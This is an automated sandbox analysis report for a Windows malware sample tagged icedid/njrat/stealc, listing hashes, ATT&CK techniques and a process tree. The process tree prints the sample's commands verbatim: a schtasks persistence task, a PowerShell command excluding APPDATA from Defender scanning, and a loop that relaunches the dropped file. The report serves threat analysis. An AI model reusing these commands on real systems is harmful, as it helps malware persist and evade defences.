3c97a577b8c1cbf433aa070443d900dc0277c3081cf547f6c03496a7fceb3339

Analysis

max time kernel
150s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/09/2026, 17:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-13_10caee1f25a3136c8bdc2c1b3b65f97f_icedid_njrat_stealc.exe
Size 3.9MB
Sample260913-wdyypsbl71
SHA256 3c97a577b8c1cbf433aa070443d900dc0277c3081cf547f6c03496a7fceb3339
MD5 10caee1f25a3136c8bdc2c1b3b65f97f
SHA1 3fbbeaa85f1d73bc8fea28a8c72ecfa636b9889d
SHA512 19e64cc2f2c6f2e3a6310dad38e707fab5f03792e337694a12b0f389c15d88f9ba3618a713f184e5364bf81f7e1dd666b006cfa8e3191ba4df23cb1eff30ab0b
SSDEEP 98304:M+hxpLJlKkvs5WGoqZ92yVG/uzGNV9HkN:M+hx9ekEEByQyVG/uzGNVyN
TLSH
T14016D02BB26901E8D1BFD17CC9165907EBB2780543A0A7DF02E046A62F77BE14E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5888	powershell.exe
5756	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3060	PeerService.exe
4668	PeerService.exe

Discovers running processes 1 TTPs 59 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5028	tasklist.exe
3744	tasklist.exe
2920	tasklist.exe
2476	tasklist.exe
5728	tasklist.exe
4308	tasklist.exe
2788	tasklist.exe
3736	tasklist.exe
2400	tasklist.exe
2860	tasklist.exe
1692	tasklist.exe
5052	tasklist.exe
5760	tasklist.exe
4276	tasklist.exe
4052	tasklist.exe
5876	tasklist.exe
3628	tasklist.exe
2828	tasklist.exe
4656	tasklist.exe
2812	tasklist.exe
1752	tasklist.exe
3796	tasklist.exe
2116	tasklist.exe
4748	tasklist.exe
4384	tasklist.exe
1220	tasklist.exe
1784	tasklist.exe
1416	tasklist.exe
1636	tasklist.exe
3948	tasklist.exe
1872	tasklist.exe
5044	tasklist.exe
5896	tasklist.exe
1168	tasklist.exe
4088	tasklist.exe
4832	tasklist.exe
4136	tasklist.exe
5536	tasklist.exe
5316	tasklist.exe
4372	tasklist.exe
4700	tasklist.exe
3100	tasklist.exe
4116	tasklist.exe
5256	tasklist.exe
4312	tasklist.exe
5508	tasklist.exe
5920	tasklist.exe
4704	tasklist.exe
2320	tasklist.exe
2316	tasklist.exe
1872	tasklist.exe
4564	tasklist.exe
2588	tasklist.exe
3528	tasklist.exe
4508	tasklist.exe
2844	tasklist.exe
4264	tasklist.exe
3100	tasklist.exe
1784	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2056	cmd.exe
1452	cmd.exe
5036	cmd.exe
2488	cmd.exe
1288	cmd.exe

Delays execution with timeout.exe 58 IoCs

defense_evasion

pid	Process
2964	timeout.exe
4424	timeout.exe
1224	timeout.exe
5172	timeout.exe
696	timeout.exe
5828	timeout.exe
4108	timeout.exe
4060	timeout.exe
2764	timeout.exe
3048	timeout.exe
2936	timeout.exe
1080	timeout.exe
5740	timeout.exe
4444	timeout.exe
2660	timeout.exe
5516	timeout.exe
4140	timeout.exe
4348	timeout.exe
4164	timeout.exe
5736	timeout.exe
5404	timeout.exe
1072	timeout.exe
3384	timeout.exe
4300	timeout.exe
4904	timeout.exe
5512	timeout.exe
2512	timeout.exe
2008	timeout.exe
6140	timeout.exe
2088	timeout.exe
4664	timeout.exe
5860	timeout.exe
3000	timeout.exe
5996	timeout.exe
124	timeout.exe
3796	timeout.exe
6100	timeout.exe
1204	timeout.exe
4132	timeout.exe
1912	timeout.exe
5896	timeout.exe
2704	timeout.exe
4420	timeout.exe
5280	timeout.exe
3064	timeout.exe
2092	timeout.exe
3304	timeout.exe
5260	timeout.exe
5984	timeout.exe
2520	timeout.exe
4704	timeout.exe
4244	timeout.exe
588	timeout.exe
1224	timeout.exe
2796	timeout.exe
5956	timeout.exe
1128	timeout.exe
2964	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4800	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5888	powershell.exe
5888	powershell.exe
5756	powershell.exe
5756	powershell.exe
5888	powershell.exe
5756	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	5756	powershell.exe
Token: SeDebugPrivilege	4276	tasklist.exe
Token: SeDebugPrivilege	1416	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5888	powershell.exe
Token: SeSecurityPrivilege	5888	powershell.exe
Token: SeTakeOwnershipPrivilege	5888	powershell.exe
Token: SeLoadDriverPrivilege	5888	powershell.exe
Token: SeSystemProfilePrivilege	5888	powershell.exe
Token: SeSystemtimePrivilege	5888	powershell.exe
Token: SeProfSingleProcessPrivilege	5888	powershell.exe
Token: SeIncBasePriorityPrivilege	5888	powershell.exe
Token: SeCreatePagefilePrivilege	5888	powershell.exe
Token: SeBackupPrivilege	5888	powershell.exe
Token: SeRestorePrivilege	5888	powershell.exe
Token: SeShutdownPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeSystemEnvironmentPrivilege	5888	powershell.exe
Token: SeRemoteShutdownPrivilege	5888	powershell.exe
Token: SeUndockPrivilege	5888	powershell.exe
Token: SeManageVolumePrivilege	5888	powershell.exe
Token: 33	5888	powershell.exe
Token: 34	5888	powershell.exe
Token: 35	5888	powershell.exe
Token: 36	5888	powershell.exe
Token: SeIncreaseQuotaPrivilege	5756	powershell.exe
Token: SeSecurityPrivilege	5756	powershell.exe
Token: SeTakeOwnershipPrivilege	5756	powershell.exe
Token: SeLoadDriverPrivilege	5756	powershell.exe
Token: SeSystemProfilePrivilege	5756	powershell.exe
Token: SeSystemtimePrivilege	5756	powershell.exe
Token: SeProfSingleProcessPrivilege	5756	powershell.exe
Token: SeIncBasePriorityPrivilege	5756	powershell.exe
Token: SeCreatePagefilePrivilege	5756	powershell.exe
Token: SeBackupPrivilege	5756	powershell.exe
Token: SeRestorePrivilege	5756	powershell.exe
Token: SeShutdownPrivilege	5756	powershell.exe
Token: SeDebugPrivilege	5756	powershell.exe
Token: SeSystemEnvironmentPrivilege	5756	powershell.exe
Token: SeRemoteShutdownPrivilege	5756	powershell.exe
Token: SeUndockPrivilege	5756	powershell.exe
Token: SeManageVolumePrivilege	5756	powershell.exe
Token: 33	5756	powershell.exe
Token: 34	5756	powershell.exe
Token: 35	5756	powershell.exe
Token: 36	5756	powershell.exe
Token: SeDebugPrivilege	4748	tasklist.exe
Token: SeDebugPrivilege	5896	tasklist.exe
Token: SeDebugPrivilege	4656	tasklist.exe
Token: SeDebugPrivilege	1872	tasklist.exe
Token: SeDebugPrivilege	2812	tasklist.exe
Token: SeDebugPrivilege	3628	tasklist.exe
Token: SeDebugPrivilege	4564	tasklist.exe
Token: SeDebugPrivilege	1692	tasklist.exe
Token: SeDebugPrivilege	4384	tasklist.exe
Token: SeDebugPrivilege	1168	tasklist.exe
Token: SeDebugPrivilege	3744	tasklist.exe
Token: SeDebugPrivilege	5316	tasklist.exe
Token: SeDebugPrivilege	5044	tasklist.exe
Token: SeDebugPrivilege	5052	tasklist.exe
Token: SeDebugPrivilege	1752	tasklist.exe
Token: SeDebugPrivilege	4704	tasklist.exe
Token: SeDebugPrivilege	1220	tasklist.exe
Token: SeDebugPrivilege	2320	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 5036	2776	2026-09-13_10caee1f25a3136c8bdc2c1b3b65f97f_icedid_njrat_stealc.exe	88
PID 5036 wrote to memory of 4800	5036	cmd.exe	90
PID 2776 wrote to memory of 3060	2776	2026-09-13_10caee1f25a3136c8bdc2c1b3b65f97f_icedid_njrat_stealc.exe	92
PID 4668 wrote to memory of 1288	4668	PeerService.exe	95
PID 4668 wrote to memory of 2488	4668	PeerService.exe	96
PID 3060 wrote to memory of 1452	3060	PeerService.exe	99
PID 3060 wrote to memory of 2056	3060	PeerService.exe	100
PID 1288 wrote to memory of 5888	1288	cmd.exe	104
PID 1452 wrote to memory of 5756	1452	cmd.exe	105
PID 2056 wrote to memory of 4276	2056	cmd.exe	106
PID 2056 wrote to memory of 3332	2056	cmd.exe	107
PID 2488 wrote to memory of 1416	2488	cmd.exe	109
PID 2488 wrote to memory of 5860	2488	cmd.exe	110
PID 2056 wrote to memory of 5736	2056	cmd.exe	112
PID 2488 wrote to memory of 6100	2488	cmd.exe	113
PID 2056 wrote to memory of 4748	2056	cmd.exe	114
PID 2056 wrote to memory of 3912	2056	cmd.exe	115
PID 2488 wrote to memory of 5896	2488	cmd.exe	116
PID 2488 wrote to memory of 4732	2488	cmd.exe	117
PID 2056 wrote to memory of 2088	2056	cmd.exe	118
PID 2488 wrote to memory of 4140	2488	cmd.exe	119
PID 2056 wrote to memory of 1872	2056	cmd.exe	120
PID 2056 wrote to memory of 4868	2056	cmd.exe	121
PID 2488 wrote to memory of 4656	2488	cmd.exe	122
PID 2488 wrote to memory of 3604	2488	cmd.exe	123
PID 2488 wrote to memory of 2964	2488	cmd.exe	124
PID 2056 wrote to memory of 1204	2056	cmd.exe	125
PID 2056 wrote to memory of 2812	2056	cmd.exe	126
PID 2056 wrote to memory of 2652	2056	cmd.exe	127
PID 2488 wrote to memory of 3628	2488	cmd.exe	128
PID 2488 wrote to memory of 5960	2488	cmd.exe	129
PID 2056 wrote to memory of 1224	2056	cmd.exe	130
PID 2488 wrote to memory of 2936	2488	cmd.exe	131
PID 2488 wrote to memory of 4564	2488	cmd.exe	132
PID 2488 wrote to memory of 4268	2488	cmd.exe	133
PID 2056 wrote to memory of 1692	2056	cmd.exe	134
PID 2056 wrote to memory of 5628	2056	cmd.exe	135
PID 2488 wrote to memory of 3384	2488	cmd.exe	136
PID 2056 wrote to memory of 3064	2056	cmd.exe	137
PID 2056 wrote to memory of 4384	2056	cmd.exe	139
PID 2056 wrote to memory of 4940	2056	cmd.exe	140
PID 2488 wrote to memory of 1168	2488	cmd.exe	141
PID 2488 wrote to memory of 5368	2488	cmd.exe	142
PID 2056 wrote to memory of 4424	2056	cmd.exe	143
PID 2488 wrote to memory of 4664	2488	cmd.exe	144
PID 2056 wrote to memory of 3744	2056	cmd.exe	145
PID 2056 wrote to memory of 2304	2056	cmd.exe	146
PID 2056 wrote to memory of 4132	2056	cmd.exe	147
PID 2488 wrote to memory of 5316	2488	cmd.exe	148
PID 2488 wrote to memory of 3396	2488	cmd.exe	149
PID 2488 wrote to memory of 4108	2488	cmd.exe	150
PID 2056 wrote to memory of 5044	2056	cmd.exe	151
PID 2056 wrote to memory of 3676	2056	cmd.exe	152
PID 2056 wrote to memory of 4060	2056	cmd.exe	153
PID 2488 wrote to memory of 5052	2488	cmd.exe	154
PID 2488 wrote to memory of 5268	2488	cmd.exe	155
PID 2488 wrote to memory of 1912	2488	cmd.exe	156
PID 2056 wrote to memory of 1752	2056	cmd.exe	157
PID 2056 wrote to memory of 4364	2056	cmd.exe	158
PID 2056 wrote to memory of 124	2056	cmd.exe	159
PID 2488 wrote to memory of 4704	2488	cmd.exe	160
PID 2488 wrote to memory of 3924	2488	cmd.exe	161
PID 2488 wrote to memory of 5984	2488	cmd.exe	162
PID 2056 wrote to memory of 1220	2056	cmd.exe	163

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-13_10caee1f25a3136c8bdc2c1b3b65f97f_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-13_10caee1f25a3136c8bdc2c1b3b65f97f_icedid_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4800
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5756
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4276
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3332
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5736
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4748
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3912
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2088
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1872
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4868
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1204
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2812
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2652
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1692
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5628
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3064
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4384
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4940
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4424
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3744
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2304
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4132
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5044
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3676
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4060
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1752
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4364
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:124
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1220
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2640
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3796
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3528
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4276
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5860
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2316
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4572
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5896
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4308
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1708
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2704
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4700
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5256
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2964
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4088
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4476
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3100
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2276
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5740
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4508
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2860
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4444
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4116
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4196
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5280
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2844
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:6024
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2796
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2476
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1912
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4704
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4832
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:692
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2512
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3796
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1416
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:588
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4136
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5448
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2092
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3948
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5072
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4164
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1872
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5380
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5956
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2400
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3276
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1080
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5728
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2536
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1072
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3100
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2276
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5828
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2860
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5204
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:6140
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5508
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1264

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1416
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5860
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:6100
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5896
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4732
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4140
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4656
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3604
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2964
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3628
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5960
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2936
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4268
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3384
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5368
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4664
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5316
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3396
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4108
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5052
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5268
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1912
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3924
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5984
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1196
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4348
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2588
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1524
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5404
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2920
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5396
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2764
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4372
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1424
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4244
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5028
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3276
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1128
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2788
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4872
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2520
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
